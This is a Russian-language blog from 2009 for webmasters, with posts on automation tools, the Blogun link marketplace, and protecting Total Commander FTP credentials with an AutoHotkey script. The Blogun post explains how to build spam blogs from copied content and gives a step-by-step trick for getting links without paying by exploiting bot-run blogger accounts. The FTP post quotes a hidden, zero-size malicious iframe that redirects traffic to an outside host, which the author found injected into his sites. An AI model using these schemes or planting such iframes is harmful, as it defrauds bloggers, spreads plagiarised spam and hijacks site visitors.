среда, 28 октября 2009 г.

Автоматизаторы. Общие понятия.

В жизни вебмастера рано или поздно наступает момент, когда полуручной труд по регистрации на фрихостах, заливке файлов по ftp, сбору текста, постингу текста и т. п. замучивает до невозможности. И вроде все инструменты по отдельности есть, но приходится нажимать мышкой кнопки на интерфейсе по тысяче раз на дню, причем на одни и те же кнопки. Чувствуешь себя при этом полным идиотом или обезьяной, стучащей по пишущей машинке в надежде написать «Войну и мир».

Наступает пора программирования. Садишься за учебники и пишешь программы сам или заказываешь на стороне. И всё равно, что-то где-то не срастается, какой-то функции недостает. И опять – тыкаешь кнопки по много раз в день. Бывает и другое. Находишь несколько программ, даже в бесплатном варианте. Каждая из них по отдельности выполняет какую-нибудь нужную тебе функцию. А тебе надо связать эти функции в непрерывную производственную цепь, работающую без твоего вмешательства. Что делать?

Вот тут и приходят на помощь программные средства, называемые для краткости автоматизаторами. Такие средства известны довольно многим под именем макросов и встречаются во многих программах, например в том же Microsoft Office'е или Photoshop'e.

Такие макросы полезны, однако действуют в пределах одной, конкретной программы и связать воедино несколько разнородных программ не могут.

Именно это могут автоматизаторы – соединять воедино разные программы или разные функции одной программы, не имеющей встроенных макросов. По сути своей автоматизаторы это отдельные языки программирования или реже библиотеки (классы, оболочки) общераспространенных языков программирования, написанные специально под нужды управления другими программами в конкретной операционной системе. То есть это своего рода программируемая надстройка над операционной системой, сделанная сторонним производителем.

Все автоматизаторы обычно включают в себя средство для записи действий пользователя в операционной системе. Запись затем преобразуется в код конкретного автоматизатора.

Автоматизаторы условно можно разделить на автоматизаторы для программиста и автоматизаторы для рядового пользователя.

Автоматизатор, ориентированный на программиста это язык программирования в чистом виде. Пишется код программы для автоматизации аналогично обычным языкам программирования, затем он компилируется или исполнятся интерпретатором. Такие автоматизаторы достаточно сложны для применения, поскольку их изучение равносильно изучению языка программирования и требует специфического склада мышления.

Автоматизаторы, ориентированные на рядового пользователя. Помимо текстовых средств написания кода и его интерпретации имеют графические элементы управления, отражающие определенные действия, например закачку по ftp, запуск браузера, включение по расписанию и т. п. Составление программы автоматизации сводится к определенной компоновке таких графических элементов с помощью указателя мыши. Напоминает детские кубики, из которых можно построить что угодно. Такие автоматизаторы весьма практичны, но в чистом виде почти не встречаются.

вторник, 27 октября 2009 г.

Как обмануть робота или немного о Блогуне

Одной из партнерок, дающей блогерам заработать, а рекламодателям подыскать рекламные площадки является известный многим Блогун.

Сначала, как водится моя рефссылка для рекламодателей и моя рефссылка для блогеров .

А теперь по теме. От блогеров Блогун принимает практически все площадки. Отказ обычно может случиться, только если вы неправильно разместите код Блогуна на своем блоге, в частности не разместите ссылку на невидимую картинку.

Для заработка у блогеров существует три инструмента: 1) написание постовых 2) написание кратких обзоров 3) написание подробных обзоров. Цены на обзоры колеблются в широких пределах. Минимальная же цена на постовой – 10 центов и обычное не повышается. Постовой - это несколько слов в конце любого поста на блоге со ссылкой на ресурс рекламодателя. Правилами Блогуна разрешается не более 3-ёх постовых для одного сообщения в блоге. Много ли это – 10 центов? Казалось бы нет, но сравним с ценами на ссылки в sape.ru. Там цена на ссылку с нулевого по ТИЦу сайта – 1 цент (есть, конечно, и дороже, но по 1 центу можно найти море предложений). В Блогуне большинство блогов тоже нулевые. Получается, что, отдавая 10 центов за постовой, мы платим столько же, сколько за ссылку в год (точнее за 10 месяцев) размещенную через sape.ru. В сапе у вас будет каждый месяц списываться по 1 центу, а не 10 сразу и если вы захотите снять ссылку по каким-либо причинам (например, страница со ссылкой после 4 месяцев не попала в индекс поисковой машины) то вы это сможете сделать и сэкономить, таким образом, ссылочный бюджет. В Блогуне снять ссылку и получить деньги обратно, хотя бы частично, вы не можете, независимо от того, оказалась ссылка в индексе или нет. Так что для блогеров с нулевыми показателями блогов торговать постовыми в Блогуне выгоднее, чем продавать ссылки на биржах, в той же сапе.

Соответственно для оптимизатора покупка ссылок в виде постовых может оказаться дороже, нежели на биржах ссылок. В чем же выгоды оптимизатора?

  1. Ссылка в постовом размещается обычно навечно. Встречаются, конечно, и непорядочные блогеры, удаляющие вашу ссылку через месяц-два, но таких немного. Так что если ваш проект рассчитан более чем на год, то вы получите экономию ссылочного бюджета, а не его перерасход.
  2. Изредка попадаются ненулевые блоги с ТИЦ-ем от 10. Постовой в них также продается по 10 центов. Большинство ссылок с сайтов, имеющих такой ТИЦ стоят от 10 центов в месяц (по цене в 1 цент за ссылку в месяц я нашел в sape только 23 площадки). Таким образом, имеется некоторая экономия на сайтах с хорошим ТИЦ, особенно в долгосрочной перспективе.
  3. Иногда удается получить дополнительный трафик с блогов, но рассчитывать на него особо не стоит – большинство блогов в Блогуне годятся только под размещение ссылок.

Из недостатков следует отметить, что большинство постовых не соответствуют теме поста в блоге, что несколько уменьшает вес размещенной ссылки.

Как заработать на блогуне начинающему сеошнику («школьнику»)? На продаже постовых. Для этого регистрируете пару десятков блогов на бесплатных хостах, доменов покупать для этих блогов не надо. Довольствуйтесь поддоменом 3-го уровня, который бесплатно предоставит хостер. Наполняете каждый блог 10-20 постами скопированными с других сайтов, добавляете адреса блогов в несколько соцзакладок. Штук пять блогов сразу добавляете в Блогун – вдруг их и так примут! Для остальных блогов ждете индексации в Яндексе и тоже их добавляете в Блогун.

Вот список некоторых бесплатных блогохостингов, которые достаточно хорошо индексируются Яндексом:

  1. http://wyinc.ru/ - на основе Wordpress MU
  2. http://www.livejournal.com/
  3. https://www.blogger.com/ ( http://blogspot.com/ )
  4. http://blogs.yandex.ru/ (ya.ru)
  5. http://blog.tut.by/
  6. http://www.blox.ua/html

Если вы собираетесь воспользоваться другими блогохостингами, обратите внимание, чтобы блоги были на поддомене (как у livejournal.com) , а не в папке. Яндекс хуже индексирует блоги, расположенные в папке (т. е. блоги типа domain.ru/~blogvasipupkina/).

Если ваши блоги приняты в Блогун – рассылайте заявки рекламодателям. На цену ниже 10 центов не соглашайтесь, иначе ничего не заработаете. Постить в блоги пока будете вручную. Под каждые три постовых – новый пост, скопированный с других сайтов. Постовые пишете самостоятельно. Заработаете денег – обязательно закажите написание софта для Блогуна, иначе просто замучаетесь писать постовые и рассылать заявки вручную.

А теперь - как же обмануть робота?!

Этот раздел для оптимизаторов. Здесь описывается метод как на Блогуне получить бесплатные ссылки с блогов. Метод немного нечестный, так что пользоваться им или нет – на вашей совести.

В Блогуне много говноблогов, находящихся, тем не менее, в индексе Яндекса. Для рассылки заявок рекламодателям владельцы этих блогов используют специальное программное обеспечение. Постинг в такие блоги также происходит автоматически. В подавляющем большинстве случаев используемое программное обеспечение работает только на постинг и не способно редактировать уже имеющиеся посты. Вычисляются такие говноблоги достаточно просто. Надо послать задание на переделку, написав какое-либо замечание. Если ответ с разъяснением от блогера не получен, то почти наверняка перед нами нами «автоматическая» учетная запись, контролируемая роботом.

В чем особенность таких автоматических аккаунтов? В том, что если рекламодатель отправил задание на исправление, то задание возвращается неисправленным, с постовым на той же странице блога что и прежде, либо блогер автоматически отказывается от задания и присылает заявку заново, как бы в первый раз.

В большинстве случаев происходит автоматический отказ от задания и присылка его заново. В этом случае предыдущие замечания рекламодателя не учитываются и переписка, если она была, уничтожается Блогуном. Соответственно блогер избегает отрицательных оценок (в Блогуне рекламодатели и блогеры могут оценивать друг друга и эти оценки видны другим участникам Блогуна), которые ему может выставить рекламодатель и сохраняет свой рейтинг, важный для контакта с другими рекламодателями.

Однако, отказавшись от задания после того как рекламодатель отправил задание на переделку, блогер не может удалить размещенный постовой в силу особенностей своего программного обеспечения (его постер не может редактировать уже размещенные посты).

Так оптимизатор получает бесплатный постовой со ссылкой. Пошаговый алгоритм выглядит следующим образом:

  1. Регистрируемся в Блогуне как рекламодатель . Жми не бойся!
  2. Закидываем деньги в аккаунт рекламодателя с учетом 15% комиссии Блогуна.
  3. Во вкладке «Помощник» создаем нужные правила. Я обычно создаю правило о том, чтобы у блога в индексе Яндекса были какое-то количество страниц, например, более 100. Но можно этого и не делать.
  4. Создаем рекламную кампанию. Максимальную цену постового указываем в 0,1 доллара, максимальные цены обзоров устанавливаем в нули. Разрешаем блогерам отправлять заявки повторно (очень важный момент). Описываем задание так, чтобы можно было за что-нибудь зацепиться при оправке его на переделку. Самое простое – выставить требование о том, чтобы постовой был только один в посте или находился на странице, проиндексированной Яндексом. Остальные настройки кампании выставляйте по своему вкусу.
  5. Активируем кампанию и ждем предложений. Для простоты одобряем все предложения и ждем выполненных заданий.
  6. Все выполненные задания отправляем на переделку и пишем какой-нибудь сопроводительный текст.
  7. Если блогер возражает или исправляет задание – засчитываем ему это задание, а напротив блога ставим метку с примерно таким текстом: «Ручная модерация».
  8. Все прочие выполненные задания, которые не сопровождаются ответом снова направляем на переделку и так несколько раз. При большом числе возвратов оплачиваем постовой. Ставим метку «Автоматический блог» и добавляем такой блог в золотой список.
В итоге получаем либо много бесплатных ссылок, на тех блогах в которых автоматически производится отказ от задания, если оно возвращается рекламодателем на переделку, либо несколько ссылок (в постовых) в одном и том же блоге по цене как за одну.

пятница, 16 октября 2009 г.

Защита FTP в Total Commander'e

Достаточное количество веб-мастеров пострадало от ифреймов. Что такое ифрейм? Это обычная ссылка с html тэгом iframe, задачей которой является перенаправление трафика с вашего сайта на чужой. Я сам в свое время пострадал от ифрейма вида

<!-- ~ --><iframe src="http://orentraff.cn/in.cgi?3" width="0" height="0" style="display:none"></iframe><!-- ~ -->

На тему этого ифрейма был топик на searchengines.ru и вроде даже обнаружили владельца сайта, указанного в ифрейме. Как вставляется ифрейм в чужие сайты? Обычно с помощью получения доступа по ftp, а доступ этот сводится к краже файлов с учетными записями ftp с вашего персонального компьютера. У меня ftp акки сперли, поскольку я решил разок поспамить с домашнего компьютера с выключенным антивирусом – прочитал где-то, что это якобы безопасно, спамилка вроде трояны не загрузит. Оказалось не так. Лишился почти всех своих дорвеев, за исключением некоторых, которые были сделаны Forum Generator'ом – там ифрейм при внедрении не уничтожал страницу и находился ниже моего редиректа. На некоторых фрихостах (например, на t35.com) не разрешено менять пароли доступа и сейчас я могу наблюдать то, что заливают на место моих бывших доров.

Как же защититься от кражи ftp акков? Способов довольно много. Вот известные мне:

  1. Не выключать антивирус и сетевой экран
  2. Спамить и производить другие «вирусоопасные» операции с отдельного компьютера
  3. То же что и п.1, но использовать не отдельный компьютер, а виртуальную машину
  4. То же что и п. 1, но использовать две разные операционные системы на одном компьютере
  5. Хранить файлы с конфиденциальной информацией на отдельном внешнем носителе (флэшка, CD, карта памяти и т.п.)
  6. Настроить на своих сайтах доступ по ftp только с определенного IP
  7. Всегда вбивать пароли и логины руками (не защищает от кейлоггеров), а не хранить их в файлах
  8. Использовать малораспространенные программы, под которые троянов обычно не пишут или не настраивают. Например, вместо Total Commander'a использовать Speed Commander или Frigate
  9. Хранить файл с паролями на своем компьютере, но не в том каталоге, в котором его использует программа, а в другом каталоге. В момент необходимости переносить файл с паролями в нужный для конкретной программы каталог, а по окончании работы переносить вручную обратно.
  10. Использовать программы, создающие мастер-пароль, т.е. пароль, с помощью которого шифруются файлы с конфиденциальной информацией, но который сам по себе на компьютере не хранится, а запоминается пользователем наизусть.
  11. Использовать самописные программы (в нашем случае – ftp-менеджеры), под которые трояны не настраиваются ввиду неизвестности этих программ.
  12. Использовать программы, которые используют файлы с паролями аналогично пунктам 2 – 4, т.е. на отдельной ЭВМ, отдельной операционной системе или на виртуальной машине.
  13. Не хранить пароли в браузерах или, по крайней мере, регулярно браузеры обновлять.

После того как я потерял бóльшую часть своих дорвеев, я стал внимательнее относиться к безопасности компьютера. Сетевой экран и антивирус не выключаю и храню фал с паролями в другом месте, а когда надо копирую его в нужное место. То есть использую я пункты 1 и 9 из вышеприведенного списка. Пользуюсь я по-прежнему Total Commander'ом и встроенным в него ftp-менеджером, хотя именно оттуда у меня и украли пароли. Долгое время я вручную перебрасывал файл с ftp акками из одного каталога в другой и обратно, потом мне это надоело, и недавно я написал скрипт, который автоматизирует эту работу. Скрипт написан на языке autohotkey ( см. autohotkey.com ) и должен быть помещён в автозагрузку, чтобы он начинал работу при старте Windows.

Что вы должны сделать, чтобы использовать скрипт:

  1. Скачать установщик языка autohotkey ( Скачать установщик ) и установить autohotkey на свой компьютер.
  2. Скопировать код скрипта с моего блога в текстовый файл и сохранить этот файл с расширением .ahk. Название может быть любым.
  3. Прописать в скрипте путь к каталогу, к которому Total Commander обращается в поисках файла с ftp акками. У меня такой файл (wcx_ftp.ini) хранится в каталоге C:\Program Files\Total Commander\ .
  4. Прописать в скрипте путь к каталогу в котором вы будете хранить файл с ftp. В моем примере это каталог D:\FT
  5. Создать ярлык на на файл скрипта и поместить это ярлык в автозагрузку операционной системы.

При желании можете скомпилировать скрипт прилагаемым к программе компилятором. Если вы программист, то можете добавить к скрипту какой-нибудь дополнительный функционал, например файл конфигурации, функцию переименования файла с ftp при перемещении его в сторонний каталог (в моем скрипте - D:\FT), функцию перемещения файла с ftp в случайный каталог.

Вот и сам код:

;************************************************************
; AutoHotkey Version: 1.0.48.05
; Автор: harvik
; Имя скрипта: total.ahk
;************************************************************
; Назначение скрипта
; Хранение файла с ftp аккаунтами в месте, назначенном пользователем. Подгрузка этого файла в момент работы с ftp
; и возврат на место после завершения работы с ftp
;*************************************************************



;==========НАСТРОЙКИ ПОЛЬЗОВАТЕЛЯ ===========
;
Total_Path = C:\Program Files\Total Commander\ ; путь к каталогу, где Total Commander хранит файл с ftp
Total_Ftp = D:\FT\ ; путь к каталогу, где вы будете хранить файл c ftp аккаунтами
Ft = wcx_ftp.ini ; Название файла с ftp
;
; ========== КОНЕЦ НАСТРОЕК ПОЛЬЗОВАТЕЛЯ ========

; ========== Начало блока функций ===================

Sizes()
{
global

FileGetSize, size1, %Total_Path%%Ft%

FileGetSize, size2, %Total_Ftp%%Ft%

}

MoveTo() ; Перемещение файла с ftp аккаунтами в другой каталог
{
global Total_Path, Total_Ftp, Ft, size1, size2

Sizes()

IfExist, %Total_Path%%Ft%

{if size1 >= %size2% ;Сравнение размеров файлов с ftp в двух каталогах (папках)

FileMove, %Total_Path%%Ft%, %Total_Ftp%, 1

else FileDelete, %Total_Path%%Ft%

}

}


CopyFrom() ; Копирование файла с ftp аккаунтами в рабочий каталог Total Commander'а

{
global Total_Path, Total_Ftp, Ft, size1, size2

Sizes()

IfNotExist, %Total_Path%%Ft% OR size1 < %size2% ;Сравненние размеров файлов с ftp в двух каталогах (папках)

FileCopy, %Total_Ftp%%Ft%, %Total_Path%, 1

}

; ========== Конец блока функций ==============


#Persistent


Process, Priority,,L ; Установка низкого приоритета выполнения скрипта для снижения нагрузки на процессор.

IfNotExist, %Total_Ftp%
FileCreateDir, %Total_Ftp% ; Создание папки для хранения файла с ftp аккаунтами


TrayTip, Защита FTP акков, в Total Commander'е
Sleep, 5000
TrayTip


Begin:

MoveTo()
WinWait, ahk_class TTOTAL_CMD ;Ожидание загрузки Total Commander'а

IfWinExist, ahk_class TCONNECT

{

IfNotExist, %Total_Path%%Ft%

{
CopyFrom()
WinClose, ahk_class TCONNECT
WinWaitClose, ahk_class TCONNECT ; Пустое окошко "Соединение с FTP-сервером исчезает
IfWinExist, ahk_class TTOTAL_CMD
{
WinActivate, ahk_class TTOTAL_CMD ;
WinWaitActive, ahk_class TTOTAL_CMD
Send ^f ; Окошко "Соединение с FTP-сервером появляется уже со списком ваших FTP
Sleep, 5
}


}

}

else
{

MoveTo()
Goto, Begin

}

WinWaitClose, ahk_class TCONNECT

Goto, Begin